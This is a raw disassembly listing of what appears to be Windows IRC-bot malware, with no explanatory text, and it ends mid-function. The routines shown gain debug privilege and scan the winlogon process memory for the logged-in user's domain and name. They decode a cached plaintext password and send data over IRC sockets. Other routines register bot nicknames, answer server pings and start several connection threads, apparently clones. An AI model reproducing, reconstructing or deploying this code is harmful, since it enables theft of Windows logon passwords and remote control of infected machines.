lea eax, [ebp+var_248]
push [ebp+arg_10]
push ebx
push esi
push eax
call sub_41BFF0
add esp, 14h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+var_248]
push eax
call edi ; FindFirstFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_41749B
loc_41744C: ; CODE XREF: sub_417358+141j
lea eax, [ebp+var_118]
inc [ebp+arg_14]
push eax
lea eax, [ebp+var_54C]
push [ebp+arg_10]
push offset dword_43A90C
push 200h
push eax
call sub_41BFF0
push 1
lea eax, [ebp+var_54C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409743
add esp, 28h
lea eax, [ebp+var_144]
push eax
push esi
call dword_428124 ; FindNextFileA
test eax, eax
jnz short loc_41744C
loc_41749B: ; CODE XREF: sub_417358+F2j
push esi
call dword_42811C ; FindClose
mov eax, [ebp+arg_14]
pop edi
pop esi
pop ebx
leave
retn
sub_417358 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4174AA proc near ; DATA XREF: sub_401AA1+1C29o
var_29C = byte ptr -29Ch
var_9C = dword ptr -9Ch
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 29Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 25h
pop ecx
mov esi, eax
lea edi, [ebp+var_9C]
rep movsd
xor esi, esi
inc esi
mov [eax+90h], esi
call sub_41AF54
cmp eax, esi
mov [ebp+var_4], eax
jz short loc_4174E9
cmp eax, 2
jz short loc_4174E9
push offset unk_43AB00
jmp loc_417628
; ---------------------------------------------------------------------------
loc_4174E9: ; CODE XREF: sub_4174AA+2Ej
; sub_4174AA+33j
push esi
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419CCF
pop ecx
test eax, eax
pop ecx
jz loc_417623
push ebx
push offset aNtdll_dll ; "NTDLL.DLL"
call dword_4280C0 ; LoadLibraryA
mov esi, dword_4280C4
mov edi, eax
push offset aNtquerysystemi ; "NtQuerySystemInformation"
push edi
mov [ebp+var_8], edi
call esi ; GetProcAddress
push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
push edi
mov dword_4D713C, eax
call esi ; GetProcAddress
push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
push edi
mov dword_4D7130, eax
call esi ; GetProcAddress
push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
push edi
mov dword_4D7340, eax
call esi ; GetProcAddress
push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
push edi
mov dword_4D7138, eax
call esi ; GetProcAddress
mov dword_4D7134, eax
call sub_41767C
test eax, eax
mov [ebp+arg_0], eax
jz loc_4175F6
mov esi, dword_42814C
mov edi, 400h
mov ebx, offset dword_4D6130
push edi
push ebx
push offset aUsername ; "USERNAME"
call esi ; GetEnvironmentVariableW
push edi
mov edi, offset dword_4D6930
push edi
push offset aUserdomain ; "USERDOMAIN"
call esi ; GetEnvironmentVariableW
cmp [ebp+var_4], 1
push offset dword_4D7344
push [ebp+arg_0]
jnz short loc_4175A2
call sub_417805
jmp short loc_4175A7
; ---------------------------------------------------------------------------
loc_4175A2: ; CODE XREF: sub_4174AA+EFj
call sub_4179A9
loc_4175A7: ; CODE XREF: sub_4174AA+F6j
pop ecx
test eax, eax
pop ecx
jz short loc_4175EF
cmp dword_4D7344, 0
jnz short loc_4175D6
push ebx
push edi
push [ebp+arg_0]
lea eax, [ebp+var_29C]
push offset unk_43A9C8
push 200h
push eax
call sub_41BFF0
add esp, 18h
jmp short loc_417609
; ---------------------------------------------------------------------------
loc_4175D6: ; CODE XREF: sub_4174AA+10Aj
cmp [ebp+var_4], 1
push [ebp+arg_0]
jnz short loc_4175E6
call sub_417AD6
jmp short loc_4175EB
; ---------------------------------------------------------------------------
loc_4175E6: ; CODE XREF: sub_4174AA+133j
call sub_417B6D
loc_4175EB: ; CODE XREF: sub_4174AA+13Aj
pop ecx
push eax
jmp short loc_4175FB
; ---------------------------------------------------------------------------
loc_4175EF: ; CODE XREF: sub_4174AA+101j
push offset unk_43A990
jmp short loc_4175FB
; ---------------------------------------------------------------------------
loc_4175F6: ; CODE XREF: sub_4174AA+B6j
push offset unk_43A964
loc_4175FB: ; CODE XREF: sub_4174AA+143j
; sub_4174AA+14Aj
lea eax, [ebp+var_29C]
push eax
call sub_41BEF6
pop ecx
pop ecx
loc_417609: ; CODE XREF: sub_4174AA+12Aj
push 0
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419CCF
pop ecx
pop ecx
push [ebp+var_8]
call dword_428148 ; FreeLibrary
pop ebx
jmp short loc_417636
; ---------------------------------------------------------------------------
loc_417623: ; CODE XREF: sub_4174AA+4Ej
push offset unk_43A930
loc_417628: ; CODE XREF: sub_4174AA+3Aj
lea eax, [ebp+var_29C]
push eax
call sub_41BEF6
pop ecx
pop ecx
loc_417636: ; CODE XREF: sub_4174AA+177j
xor esi, esi
cmp [ebp+var_10], esi
jnz short loc_41765D
push esi
lea eax, [ebp+var_29C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_98]
push eax
push [ebp+var_9C]
call sub_409743
add esp, 14h
loc_41765D: ; CODE XREF: sub_4174AA+191j
lea eax, [ebp+var_29C]
push eax
call sub_415F45
push [ebp+var_18]
call sub_40B56A
pop ecx
pop ecx
push esi
call dword_4280D4 ; ExitThread
pop edi
pop esi
sub_4174AA endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41767C proc near ; CODE XREF: sub_4174AA+ACp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 18h
and [esp+18h+var_4], 0
and [esp+18h+var_14], 0
push ebx
push ebp
push esi
mov esi, dword_428158
mov ebx, 100h
push edi
push ebx
push 8
call esi ; GetProcessHeap
mov edi, dword_428154
push eax
call edi ; RtlAllocateHeap
mov ebp, eax
lea eax, [esp+28h+var_14]
push eax
push ebx
push ebp
push 10h
call dword_4D713C ; ZwQuerySystemInformation
push ebp
push 0
call esi ; GetProcessHeap
push eax
call dword_428150 ; RtlFreeHeap
push [esp+28h+var_14]
push 8
call esi ; GetProcessHeap
push eax
call edi ; RtlAllocateHeap
mov ebp, eax
mov eax, [esp+28h+var_14]
lea ecx, [esp+28h+var_C]
mov [esp+28h+var_C], eax
push ecx
push eax
push ebp
push 10h
call dword_4D713C ; ZwQuerySystemInformation
test eax, eax
jnz short loc_417769
mov eax, [esp+28h+var_C]
shr eax, 4
mov [esp+28h+var_10], eax
jz short loc_417769
xor ecx, ecx
mov ebx, ebp
inc ecx
cmp eax, ecx
mov [esp+28h+var_18], ecx
jb short loc_417769
loc_417705: ; CODE XREF: sub_41767C+EBj
cmp word ptr [ebx+8], 5
jnz short loc_41775C
push 0
push 0
call dword_4D7130 ; RtlCreateQueryDebugBuffer
mov edi, eax
push edi
push 1
push dword ptr [ebx+4]
call dword_4D7340 ; RtlQueryProcessDebugInformation
test eax, eax
jnz short loc_41774D
mov eax, [edi+60h]
push offset aWinlogon ; "WINLOGON"
mov [esp+2Ch+var_8], eax
lea eax, [edi+80h]
push eax
call sub_41DC4A
pop ecx
push eax
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jnz short loc_417781
loc_41774D: ; CODE XREF: sub_41767C+AAj
test edi, edi
jz short loc_417758
push edi
call dword_4D7138 ; RtlDestroyQueryDebugBuffer
loc_417758: ; CODE XREF: sub_41767C+D3j
mov eax, [esp+28h+var_10]
loc_41775C: ; CODE XREF: sub_41767C+8Ej
add ebx, 10h
inc [esp+28h+var_18]
cmp [esp+28h+var_18], eax
jbe short loc_417705
loc_417769: ; CODE XREF: sub_41767C+6Dj
; sub_41767C+7Aj ...
xor edi, edi
loc_41776B: ; CODE XREF: sub_41767C+17Dj
push ebp
push 0
call esi ; GetProcessHeap
push eax
call dword_428150 ; RtlFreeHeap
mov eax, edi
loc_417779: ; CODE XREF: sub_41767C+184j
pop edi
pop esi
pop ebp
pop ebx
add esp, 18h
retn
; ---------------------------------------------------------------------------
loc_417781: ; CODE XREF: sub_41767C+CFj
and [esp+28h+var_10], 0
cmp [esp+28h+var_8], 0
jbe short loc_4177EA
lea eax, [edi+80h]
mov [esp+28h+var_18], eax
loc_417797: ; CODE XREF: sub_41767C+16Cj
add [esp+28h+var_18], 11Ch
push offset aNwgina ; "NWGINA"
push [esp+2Ch+var_18]
call sub_41DC4A
pop ecx
push eax
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jnz short loc_4177FE
push offset aMsgina ; "MSGINA"
push [esp+2Ch+var_18]
call sub_41DC4A
pop ecx
push eax
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jnz short loc_4177DC
mov eax, [ebx+4]
mov [esp+28h+var_4], eax
loc_4177DC: ; CODE XREF: sub_41767C+157j
inc [esp+28h+var_10]
mov eax, [esp+28h+var_10]
cmp eax, [esp+28h+var_8]
jb short loc_417797
loc_4177EA: ; CODE XREF: sub_41767C+10Fj
test edi, edi
jz short loc_4177F5
push edi
call dword_4D7138 ; RtlDestroyQueryDebugBuffer
loc_4177F5: ; CODE XREF: sub_41767C+170j
mov edi, [esp+28h+var_4]
jmp loc_41776B
; ---------------------------------------------------------------------------
loc_4177FE: ; CODE XREF: sub_41767C+13Cj
xor eax, eax
jmp loc_417779
sub_41767C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417805 proc near ; CODE XREF: sub_4174AA+F1p
var_64 = byte ptr -64h
var_60 = dword ptr -60h
var_40 = byte ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2B = byte ptr -2Bh
var_24 = byte ptr -24h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 64h
push esi
xor esi, esi
push [ebp+arg_0]
mov [ebp+var_10], esi
push esi
push 410h
call dword_42808C ; OpenProcess
cmp eax, esi
mov [ebp+var_4], eax
jnz short loc_41782E
xor eax, eax
jmp loc_4179A6
; ---------------------------------------------------------------------------
loc_41782E: ; CODE XREF: sub_417805+20j
mov eax, [ebp+arg_4]
push ebx
push edi
mov [eax], esi
lea eax, [ebp+var_64]
push eax
call dword_428164 ; GetSystemInfo
push [ebp+var_60]
mov [ebp+var_8], esi
mov esi, dword_428158
push 8
call esi ; GetProcessHeap
mov edi, dword_428154
push eax
call edi ; RtlAllocateHeap
lea ecx, [ebp+var_8]
mov ebx, dword_428160
push ecx
mov [ebp+arg_0], eax
push [ebp+var_60]
push eax
push 7FFDF000h
push [ebp+var_4]
call ebx ; ReadProcessMemory
test eax, eax
jnz short loc_41787E
xor esi, esi
jmp loc_417999
; ---------------------------------------------------------------------------
loc_41787E: ; CODE XREF: sub_417805+70j
lea eax, [ebp+var_40]
push 1Ch
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+18h]
push [ebp+var_4]
call dword_42815C ; VirtualQueryEx
test eax, eax
jz loc_417988
mov ecx, [ebp+var_30]
mov eax, 1000h
and ecx, eax
cmp ecx, eax
jnz loc_417988
test [ebp+var_2B], 1
jnz loc_417988
push [ebp+var_34]
push 8
call esi ; GetProcessHeap
push eax
call edi ; RtlAllocateHeap
mov edi, eax
lea eax, [ebp+var_8]
push eax
mov eax, [ebp+arg_0]
push [ebp+var_34]
mov [ebp+var_C], edi
push edi
push dword ptr [eax+18h]
push [ebp+var_4]
call ebx ; ReadProcessMemory
test eax, eax
jz loc_417988
loc_4178E1: ; CODE XREF: sub_417805+110j
push edi
push offset dword_4D6130
call sub_426E95
pop ecx
test eax, eax
pop ecx
jnz short loc_417909
lea eax, [edi+200h]
push eax
push offset dword_4D6930
call sub_426E95
pop ecx
test eax, eax
pop ecx
jz short loc_417919
loc_417909: ; CODE XREF: sub_417805+EBj
mov eax, [ebp+var_34]
mov ecx, [ebp+var_C]
inc edi
add eax, ecx
inc edi
cmp edi, eax
jb short loc_4178E1
jmp short loc_417988
; ---------------------------------------------------------------------------
loc_417919: ; CODE XREF: sub_417805+102j
test edi, edi
jz short loc_417988
lea eax, [ebp+var_14]
push eax
lea eax, [edi+410h]
push eax
call dword_428000 ; FileTimeToLocalFileTime
test eax, eax
jz short loc_417954
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_14]
push eax
call dword_428120 ; FileTimeToSystemTime
test eax, eax
jz short loc_417954
mov al, [edi+42Ch]
mov ecx, [ebp+arg_4]
shr eax, 1
and eax, 7Fh
mov [ecx], eax
loc_417954: ; CODE XREF: sub_417805+12Bj
; sub_417805+13Dj
movzx eax, byte ptr [edi+42Dh]
mov dword_4D7350, eax
mov eax, [ebp+arg_0]
mov [ebp+var_10], 1
mov eax, [eax+18h]
sub eax, [ebp+var_C]
lea eax, [eax+edi+434h]
add edi, 434h
mov dword_4D7348, eax
mov dword_4D734C, edi
loc_417988: ; CODE XREF: sub_417805+90j
; sub_417805+A2j ...
push [ebp+arg_0]
push 0
call esi ; GetProcessHeap
push eax
call dword_428150 ; RtlFreeHeap
mov esi, [ebp+var_10]
loc_417999: ; CODE XREF: sub_417805+74j
push [ebp+var_4]
call dword_428070 ; CloseHandle
pop edi
mov eax, esi
pop ebx
loc_4179A6: ; CODE XREF: sub_417805+24j
pop esi
leave
retn
sub_417805 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4179A9 proc near ; CODE XREF: sub_4174AA:loc_4175A2p
var_4C = byte ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_28 = byte ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_13 = byte ptr -13h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 4Ch
push [ebp+arg_0]
push 0
push 410h
call dword_42808C ; OpenProcess
test eax, eax
mov [ebp+arg_0], eax
jnz short loc_4179C8
leave
retn
; ---------------------------------------------------------------------------
loc_4179C8: ; CODE XREF: sub_4179A9+1Bj
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
and dword ptr [eax], 0
lea eax, [ebp+var_4C]
push eax
call dword_428164 ; GetSystemInfo
mov ebx, [ebp+var_44]
mov eax, [ebp+var_40]
cmp ebx, eax
mov [ebp+var_C], eax
jnb loc_417A90
mov edi, dword_428158
loc_4179F2: ; CODE XREF: sub_4179A9+E1j
lea eax, [ebp+var_28]
push 1Ch
push eax
push ebx
push [ebp+arg_0]
call dword_42815C ; VirtualQueryEx
test eax, eax
jz short loc_417A7E
mov edx, [ebp+var_18]
mov ecx, [ebp+var_1C]
mov eax, 1000h
mov [ebp+var_4], ecx
and edx, eax
cmp edx, eax
jnz short loc_417A84
test [ebp+var_13], 1
jnz short loc_417A84
push ecx
push 8
call edi ; GetProcessHeap
push eax
call dword_428154 ; RtlAllocateHeap
mov esi, eax
lea eax, [ebp+var_8]
push eax
and [ebp+var_8], 0
push [ebp+var_1C]
push esi
push ebx
push [ebp+arg_0]
call dword_428160 ; ReadProcessMemory
test eax, eax
jz short loc_417A70
push offset dword_4D6130
push esi
call sub_426E95
pop ecx
test eax, eax
pop ecx
jnz short loc_417A70
lea eax, [esi+400h]
push offset dword_4D6930
push eax
call sub_426E95
pop ecx
test eax, eax
pop ecx
jz short loc_417AA2
loc_417A70: ; CODE XREF: sub_4179A9+9Dj
; sub_4179A9+AEj
push esi
push 0
call edi ; GetProcessHeap
push eax
call dword_428150 ; RtlFreeHeap
jmp short loc_417A84
; ---------------------------------------------------------------------------
loc_417A7E: ; CODE XREF: sub_4179A9+5Bj
mov eax, [ebp+var_48]
mov [ebp+var_4], eax
loc_417A84: ; CODE XREF: sub_4179A9+6Fj
; sub_4179A9+75j ...
add ebx, [ebp+var_4]
cmp ebx, [ebp+var_C]
jb loc_4179F2
loc_417A90: ; CODE XREF: sub_4179A9+3Dj
xor esi, esi
loc_417A92: ; CODE XREF: sub_4179A9+12Bj
push [ebp+arg_0]
call dword_428070 ; CloseHandle
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_417AA2: ; CODE XREF: sub_4179A9+C5j
add ebx, 800h
lea eax, [esi+800h]
xor ecx, ecx
mov dword_4D7348, ebx
mov dword_4D734C, eax
cmp [eax], cl
jnz short loc_417AC4
cmp [eax+1], cl
jz short loc_417ACC
loc_417AC4: ; CODE XREF: sub_4179A9+114j
; sub_4179A9+121j
inc ecx
inc eax
inc eax
cmp byte ptr [eax], 0
jnz short loc_417AC4
loc_417ACC: ; CODE XREF: sub_4179A9+119j
mov eax, [ebp+arg_4]
xor esi, esi
inc esi
mov [eax], ecx
jmp short loc_417A92
sub_4179A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417AD6 proc near ; CODE XREF: sub_4174AA+135p
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4D7344
push esi
mov esi, dword_428158
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_6], ax
mov [ebp+var_8], cx
movzx eax, ax
push eax
push 8
call esi ; GetProcessHeap
push eax
call dword_428154 ; RtlAllocateHeap
mov ecx, dword_4D7344
mov [ebp+var_4], eax
add ecx, ecx
push ecx
push dword_4D734C
push eax
call near ptr sub_41C9B0
add esp, 0Ch
lea eax, [ebp+var_8]
push eax
mov al, byte ptr dword_4D7350
push eax
call dword_4D7134 ; RtlRunDecodeUnicodeString
push [ebp+var_4]
mov edi, offset dword_4D7140
push offset dword_4D6130
push offset dword_4D6930
push [ebp+arg_0]
push offset dword_43AB50
push 200h
push edi
call sub_41BFF0
add esp, 1Ch
push [ebp+var_4]
push 0
call esi ; GetProcessHeap
push eax
call dword_428150 ; RtlFreeHeap
mov eax, edi
pop edi
pop esi
leave
retn
sub_417AD6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417B6D proc near ; CODE XREF: sub_4174AA:loc_4175E6p
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword_4D7344
push ebx
push esi
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_16], ax
mov [ebp+var_18], cx
movzx eax, ax
push eax
push 8
call dword_428158 ; GetProcessHeap
push eax
call dword_428154 ; RtlAllocateHeap
and [ebp+var_C], 0
mov [ebp+var_14], eax
mov ebx, offset dword_4D6930
mov edi, 200h
mov esi, offset dword_4D5F30
loc_417BB3: ; CODE XREF: sub_417B6D+FAj
mov eax, dword_4D7344
add eax, eax
push eax
push dword_4D734C
push [ebp+var_14]
call near ptr sub_41C9B0
add esp, 0Ch
lea eax, [ebp+var_18]
push eax
push [ebp+var_C]
call dword_4D7134 ; RtlRunDecodeUnicodeString
mov eax, dword_4D7344
and [ebp+var_10], 0
mov ecx, [ebp+var_14]
mov [ebp+var_8], 1
test eax, eax
jbe short loc_417C28
loc_417BF0: ; CODE XREF: sub_417B6D+B3j
cmp [ebp+var_8], 0
jz short loc_417C45
mov dl, [ecx]
test dl, dl
mov [ebp+var_1], dl
jz short loc_417C14
cmp byte ptr [ecx+1], 0
jnz short loc_417C14
cmp dl, 20h
jnb short loc_417C0E
and [ebp+var_8], 0
loc_417C0E: ; CODE XREF: sub_417B6D+9Bj
cmp [ebp+var_1], 7Eh
jbe short loc_417C18
loc_417C14: ; CODE XREF: sub_417B6D+90j
; sub_417B6D+96j
and [ebp+var_8], 0
loc_417C18: ; CODE XREF: sub_417B6D+A5j
inc ecx
inc ecx
inc [ebp+var_10]
cmp [ebp+var_10], eax
jb short loc_417BF0
cmp [ebp+var_8], 0
jz short loc_417C45
loc_417C28: ; CODE XREF: sub_417B6D+81j
push [ebp+var_14]
push offset dword_4D6130
push ebx
push [ebp+arg_0]
push offset dword_43AB50
push edi
push esi
call sub_41BFF0
add esp, 1Ch
jmp short loc_417C5D
; ---------------------------------------------------------------------------
loc_417C45: ; CODE XREF: sub_417B6D+87j
; sub_417B6D+B9j
push offset dword_4D6130
push ebx
push [ebp+arg_0]
push offset dword_43ABA0
push edi
push esi
call sub_41BFF0
add esp, 18h
loc_417C5D: ; CODE XREF: sub_417B6D+D6j
inc [ebp+var_C]
cmp [ebp+var_C], 0FFh
jbe loc_417BB3
push [ebp+var_14]
push 0
call dword_428158 ; GetProcessHeap
push eax
call dword_428150 ; RtlFreeHeap
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_417B6D endp
; =============== S U B R O U T I N E =======================================
sub_417C86 proc near ; CODE XREF: sub_401AA1+3259p
; sub_401AA1+32C0p ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
push offset asc_42BDD8 ; "\n"
push edi
call sub_41C530
pop ecx
mov esi, offset dword_4D735C
pop ecx
loc_417C9E: ; CODE XREF: sub_417C86+42j
cmp dword ptr [esi-4], 1
jnz short loc_417CBC
cmp dword ptr [esi], 0
jbe short loc_417CBC
push 0
push edi
call sub_41B650
pop ecx
push eax
push edi
push dword ptr [esi]
call dword_4CE358 ; send
loc_417CBC: ; CODE XREF: sub_417C86+1Cj
; sub_417C86+21j
add esi, 210h
cmp esi, offset dword_4DDA7C
jl short loc_417C9E
pop edi
pop esi
retn
sub_417C86 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417CCD proc near ; CODE XREF: sub_417DC2+14Fp
var_420 = byte ptr -420h
var_220 = byte ptr -220h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 420h
push ebx
push esi
mov esi, offset asc_42F5E8 ; " "
push edi
push esi
push [ebp+arg_0]
call sub_41C764
xor edi, edi
pop ecx
inc edi
pop ecx
mov [ebp+var_20], eax
xor ebx, ebx
loc_417CF1: ; CODE XREF: sub_417CCD+35j
push esi
push ebx
call sub_41C764
mov [ebp+edi*4+var_20], eax
inc edi
pop ecx
cmp edi, 8
pop ecx
jl short loc_417CF1
cmp [ebp+var_20], ebx
mov esi, [ebp+var_1C]
jnz short loc_417D18
cmp esi, ebx
jnz short loc_417D18
xor eax, eax
inc eax
jmp loc_417DBD
; ---------------------------------------------------------------------------
loc_417D18: ; CODE XREF: sub_417CCD+3Dj
; sub_417CCD+41j
push [ebp+var_20]
push offset aPing ; "PING"
call sub_41C6E0
pop ecx
pop ecx
test eax, eax
push esi
jnz short loc_417D42
lea eax, [ebp+var_220]
push offset dword_43B7B8
push eax
call sub_41BEF6
add esp, 0Ch
jmp short loc_417D9C
; ---------------------------------------------------------------------------
loc_417D42: ; CODE XREF: sub_417CCD+5Dj
push offset a433 ; "433"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz short loc_417D63
push esi
push offset dword_43B7B4
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_417DBB
loc_417D63: ; CODE XREF: sub_417CCD+83j
push 200h
lea eax, [ebp+var_420]
push ebx
push eax
call sub_41BC00
lea eax, [ebp+var_420]
push eax
call sub_417FDF
lea eax, [ebp+var_420]
push eax
lea eax, [ebp+var_220]
push offset dword_43B7A8
push eax
call sub_41BEF6
add esp, 1Ch
loc_417D9C: ; CODE XREF: sub_417CCD+73j
lea eax, [ebp+var_220]
push ebx
push eax
call sub_41B650
pop ecx
push eax
lea eax, [ebp+var_220]
push eax
push [ebp+arg_4]
call dword_4CE358 ; send
loc_417DBB: ; CODE XREF: sub_417CCD+94j
xor eax, eax
loc_417DBD: ; CODE XREF: sub_417CCD+46j
pop edi
pop esi
pop ebx
leave
retn
sub_417CCD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417DC2 proc near ; DATA XREF: sub_417F61+61o
var_4008 = byte ptr -4008h
var_3008 = byte ptr -3008h
var_2008 = byte ptr -2008h
var_1008 = byte ptr -1008h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 4008h
call sub_41C190
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
imul esi, 210h
xor edi, edi
push dword_4D7564[esi]
lea eax, dword_4D7364[esi]
inc edi
push eax
mov dword_4D7358[esi], edi
call sub_416187
pop ecx
xor ebx, ebx
cmp eax, edi
pop ecx
mov dword_4D735C[esi], eax
jb loc_417F41
mov edi, 1000h
lea eax, [ebp+var_2008]
push edi
push ebx
push eax
call sub_41BC00
lea eax, [ebp+var_2008]
push eax
call sub_417FDF
lea eax, [ebp+var_4008]
push eax
call sub_417FDF
lea eax, [ebp+var_3008]
push eax
call sub_417FDF
lea eax, [ebp+var_3008]
push eax
lea eax, [ebp+var_4008]
push eax
lea eax, [ebp+var_2008]
push eax
lea eax, [ebp+var_1008]
push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."...
push eax
call sub_41BEF6
add esp, 2Ch
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41B650
pop ecx
push eax
lea eax, [ebp+var_1008]
push eax
push dword_4D735C[esi]
call dword_4CE358 ; send
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41BC00
add esp, 0Ch
loc_417E9B: ; CODE XREF: sub_417DC2+17Aj
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41BC00
add esp, 0Ch
lea eax, [ebp+var_1008]
push ebx
push edi
push eax
push dword_4D735C[esi]
call dword_4CE320 ; recv
cmp eax, ebx
mov [ebp+var_8], eax
jle short loc_417F41
xor eax, eax
cmp [ebp+var_8], ebx
jmp short loc_417F37
; ---------------------------------------------------------------------------
loc_417ECF: ; CODE XREF: sub_417DC2+178j
mov al, [ebp+eax+var_1008]
cmp al, 0Dh
jz short loc_417EF6
cmp al, 0Ah
jz short loc_417EF6
cmp [ebp+arg_0], 0FA0h
jz short loc_417EF6
mov ecx, [ebp+arg_0]
inc [ebp+arg_0]
mov [ebp+ecx+var_2008], al
jmp short loc_417F30
; ---------------------------------------------------------------------------
loc_417EF6: ; CODE XREF: sub_417DC2+116j
; sub_417DC2+11Aj ...
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_417F30
push dword_4D735C[esi]
mov [ebp+eax+var_2008], bl
lea eax, [ebp+var_2008]
push eax
call sub_417CCD
pop ecx
test eax, eax
pop ecx
ja short loc_417F41
push edi
lea eax, [ebp+var_2008]
push ebx
push eax
call sub_41BC00
add esp, 0Ch
mov [ebp+arg_0], ebx
loc_417F30: ; CODE XREF: sub_417DC2+132j
; sub_417DC2+139j
mov eax, [ebp+var_4]
inc eax
cmp eax, [ebp+var_8]
loc_417F37: ; CODE XREF: sub_417DC2+10Bj
mov [ebp+var_4], eax
jnz short loc_417ECF
jmp loc_417E9B
; ---------------------------------------------------------------------------
loc_417F41: ; CODE XREF: sub_417DC2+40j
; sub_417DC2+104j ...
mov dword_4D7358[esi], ebx
mov esi, dword_4D735C[esi]
cmp esi, ebx
jbe short loc_417F58
push esi
call dword_4CE3A0 ; closesocket
loc_417F58: ; CODE XREF: sub_417DC2+18Dj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_417DC2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417F61 proc near ; CODE XREF: sub_401AA1+31AEp
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp [ebp+arg_8], ebx
push esi
push edi
mov [ebp+var_4], ebx
jle short loc_417FDA
loc_417F73: ; CODE XREF: sub_417F61+77j
xor edi, edi
mov eax, offset dword_4D7358
loc_417F7A: ; CODE XREF: sub_417F61+28j
cmp [eax], ebx
jz short loc_417F8B
add eax, 210h
inc edi
cmp eax, offset dword_4DDA78
jl short loc_417F7A
loc_417F8B: ; CODE XREF: sub_417F61+1Bj
cmp edi, 31h
jz short loc_417FDA
mov esi, edi
push [ebp+arg_0]
imul esi, 210h
lea eax, dword_4D7364[esi]
push eax
call sub_41C520
mov eax, [ebp+arg_4]
pop ecx
mov dword_4D7564[esi], eax
pop ecx
lea eax, [ebp+var_8]
mov dword_4D7358[esi], 1
push eax
push ebx
push edi
push offset sub_417DC2
push ebx
push ebx
call dword_428084 ; CreateThread
inc [ebp+var_4]
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_8]
jl short loc_417F73
loc_417FDA: ; CODE XREF: sub_417F61+10j
; sub_417F61+2Dj
pop edi
pop esi
pop ebx
leave
retn
sub_417F61 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417FDF proc near ; CODE XREF: sub_401AA1+36F7p
; sub_401AA1+373Ep ...
var_40 = byte ptr -40h
var_2D = byte ptr -2Dh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 40h
push 14h
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41BC00
add esp, 0Ch
